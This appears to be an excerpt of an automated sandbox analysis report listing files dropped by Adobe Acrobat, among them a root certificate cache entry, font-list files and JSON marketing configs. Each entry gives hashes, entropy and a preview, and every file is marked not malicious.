C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7001484640467246
Encrypted:	false
SSDEEP:	3:kkFklqk7+EttfllXlE/HT8kzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKzs+seT8iNMa8RdWBwRd
MD5:	58959DE6388E2D0D2BE776893341BF78
SHA1:	B6ABE3921955DFE6D886FE45F657F5DFEC8B1B9B
SHA-256:	28CA28863D466232864CB2A143C586EF63149A68F6A33933727EB0547FBBD3FB
SHA-512:	FC1FF05CE125B53A77411A315DD602CCF5CF7C9FE16681F2C7F71E394785068F778EB1403FB0202CE04C8E74B7E6316F959AE70AF2D272F502DAF697BD3308DD
Malicious:	false
Preview:	p...... ..........a..c..(....................................................... ..........W....(x..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2656

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2656

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3449521619050735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJM3g98kUwPeUkwRe9:YvXKXWr5k1EZc0vFEAnGMbLUkee9
MD5:	B4AE58B81CA2D4E6C5EBFB3F816FBE10
SHA1:	D8D70569A700BC90463253F432A5023EC7564487
SHA-256:	71D6999889E89122DBB25F0BE9D95A78E22474EFE225440C3D8896523872DBC5
SHA-512:	C82418FB7AD5032BBC9B3DCFD671FDFE3128BC575DDAFCD5F5456060603383DD4C63863CF20B5D410B7A2F92F594A5D0E896BCE9347B910414CB09C8C87EE04E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290401912977607
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfBoTfXpnrPeUkwRe9:YvXKXWr5k1EZc0vFEAnGWTfXcUkee9
MD5:	4E1365B1581F239193D0B8EC14C16F4F
SHA1:	5F6056388C5757909E46B5603919DD4526D5D9E6
SHA-256:	F52385E01BA4DBF7325F18883464C1B587A31CB48EFF8A6F9945B29A44EB350A
SHA-512:	33B6FC8F237058F364FC09BD113888E495DA1018B7744346D820B8F5E2007791B24CB4F94CD85FC50F75D596053303AE4536CBEC55AF4A120C59A7076994CCD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2688135862424685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfBD2G6UpnrPeUkwRe9:YvXKXWr5k1EZc0vFEAnGR22cUkee9
MD5:	F0B4EBAD8CD24C896E43CD7ADF0FF0E7
SHA1:	6D76D950D241BD9FC290534E8C73E84FA5EED40F
SHA-256:	7A9139670464D9B55CE8755FDE51DF57AA637ABBA83F2F62830F895EC898A100
SHA-512:	BACDA7426D57D744C3E6AD6908D4F6121444D740D90AD8E0D82CEC05EB6FA6CF53E5FC6A1A292C81D8B074A41983505D899E297CB89BBE7D10260AC87A86CBD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.331316660226124
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfPmwrPeUkwRe9:YvXKXWr5k1EZc0vFEAnGH56Ukee9
MD5:	1A74ACF4130D283F5EDAA1133F3CC8FA
SHA1:	B710D8FA30302B1212B93F5C44C7A50E70BB4F49
SHA-256:	5914097F500B819BE126CC5578864C719AFD4362FA43D8C21282877BBEDAC3B7
SHA-512:	A51689BEA768CC60F6E3EFFECF997961B8D9DED116DFD19608875C6A813EA3104E23C2BECD4C5A5E30733B1CC869CB90EDB574D3D4015F536BE75036DD99748A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688882105816655
Encrypted:	false
SSDEEP:	24:Yv6XWreWzvSppLgE9cQx8LennAvzBvkn0RCmK8czOCCS3:YvYOqphgy6SAFv5Ah8cv/3
MD5:	7B222D979C67484498A744C74B2AD5D0
SHA1:	FAEE97A1EF4FBEDE747ECA3F39803337E65A5A68
SHA-256:	2A231AB37B8A86460FA6E5F424401D213BD89A45551E35C5810130DE1B655184
SHA-512:	563AD094A2E91B0A26EA8B615D19E708808109DAE2F93C52F84C6F35959DC09A112BB202611169C3B1E35400D8D66C3102A22278A88443489673E2BFC6495B1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2759342828668006
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJf8dPeUkwRe9:YvXKXWr5k1EZc0vFEAnGU8Ukee9
MD5:	08440C8B6B1C36D3EB6673B7F4A4AFAB
SHA1:	77C45E29AE1620C3E10C9E78438A2244EC56D1CB
SHA-256:	4DAA201EAD138EA53E46CB2C56794BEF6E54F94B61E8C4834533FA1002205181
SHA-512:	C905F1AD455554CC6FE490C6777FBB59A65DCDB875EF8ED275123AF52CECA698C6BCB57BD91DF0966047D6E014E3E1C88EE3B287D6D07498CAED5BD431D500CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.279807542280993
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfQ1rPeUkwRe9:YvXKXWr5k1EZc0vFEAnGY16Ukee9
MD5:	53C8DCBB05BB636C2B50447B4258BD53
SHA1:	CFA03C6B6B89E6894D3E2A011C24C43691663454
SHA-256:	DEEFF39109C597D1CED9EE0DBEE341F61BF57049F5B5DAA6531079A9E02A5D19
SHA-512:	0930E2253905E336E585B61738EA417775E7953F4BEDA557942876650E2747B2E2F7860FB76F2C45967CC57F5087F928A800A78E9FBD0A80F84596E2D3C61339
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285691814493439
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfFldPeUkwRe9:YvXKXWr5k1EZc0vFEAnGz8Ukee9
MD5:	C789320715CBD1740EB7255E0B296C82
SHA1:	2748CE8869261AA998E944BFCA43C6941FDA54AD
SHA-256:	B47D039AAD0C7701DC37429EDB3DE732CC70706B3279D3BBA0F00ECC27CB2442
SHA-512:	4D81879FF676C5CEC6416A3A9D2CB0B5290DFE47C0E3DA35681D964C46D60EE1D5FDFF29B0025C033E1C2338BFA4757542DB4C7D92226BE06182A58558494189
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.302116267551579
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfzdPeUkwRe9:YvXKXWr5k1EZc0vFEAnGb8Ukee9
MD5:	9A4430FA08F1ED18D241DA24847FCFD8
SHA1:	81809F9D719B9F2631805A635AA26572F3DF6763
SHA-256:	B0B5CCDF67165EE6D2C1D14FF77B7917B7F18C9C7F173B2A03C20362B28B4533
SHA-512:	F883B833C0DF86D310DA664BC5829DCD926CA2161762C83C1F4D0F086B0C964C9FD1FF0CA022FEFB15C8CEEFB108926290F69B4D5CF4B51345E2EE83D9828011
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282401933784774
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfYdPeUkwRe9:YvXKXWr5k1EZc0vFEAnGg8Ukee9
MD5:	2855CB22DC8011C5F4709A29D9A713B7
SHA1:	6545646412778713548ADB4E06B367A564BA4711
SHA-256:	9F86979CDA26BBA4BBD0E0229AD29CE08C53D418305C16128CC8A59348D5EB48
SHA-512:	417E82BBE6BEF406499EE90B1A32F4715B1E0B558C33ADCBD64D917554F93B5CCD395F9EE4163C5A4545A4619BF6F25911CEAD7AE7E6435A947AF0AB5648E869
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268723835118686
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJf+dPeUkwRe9:YvXKXWr5k1EZc0vFEAnG28Ukee9
MD5:	C1946080FADB81D6899074C26DC70345
SHA1:	69F8E2A674BA4AB6D18C3789B4B745C8CC24973F
SHA-256:	EC37CAAAC20FBE88742D293021F67B808F55DA2A0C965D1D8D52749382E23E94
SHA-512:	F3F35D1D73E74E0EF10433D64B8BEFE5ECACD7BD73C88D4D86C4E0A5E1BC092010C3C7CAB3C6DAEDFF5ECDC11F8D8E5B62C3B770339A98E1D16720470C95DE9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.266069980367335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfbPtdPeUkwRe9:YvXKXWr5k1EZc0vFEAnGDV8Ukee9
MD5:	8579CCE0931394755598929B8D662EBF
SHA1:	68A1A391D2F40B80156D5CC01F79A7A7C5BEBDB6
SHA-256:	2A838CC3E65A141D1A15A732F8843709D60BACC711272557B9019367338869A7
SHA-512:	29EA3AAE9F2625A2D65D4F58985EF571287B9325C80CBC5466D265961F59BB10F2C308A987493739C43F00D2482156DA846BB185AA843493A4289A2A7DCCA955
Malicious:	false
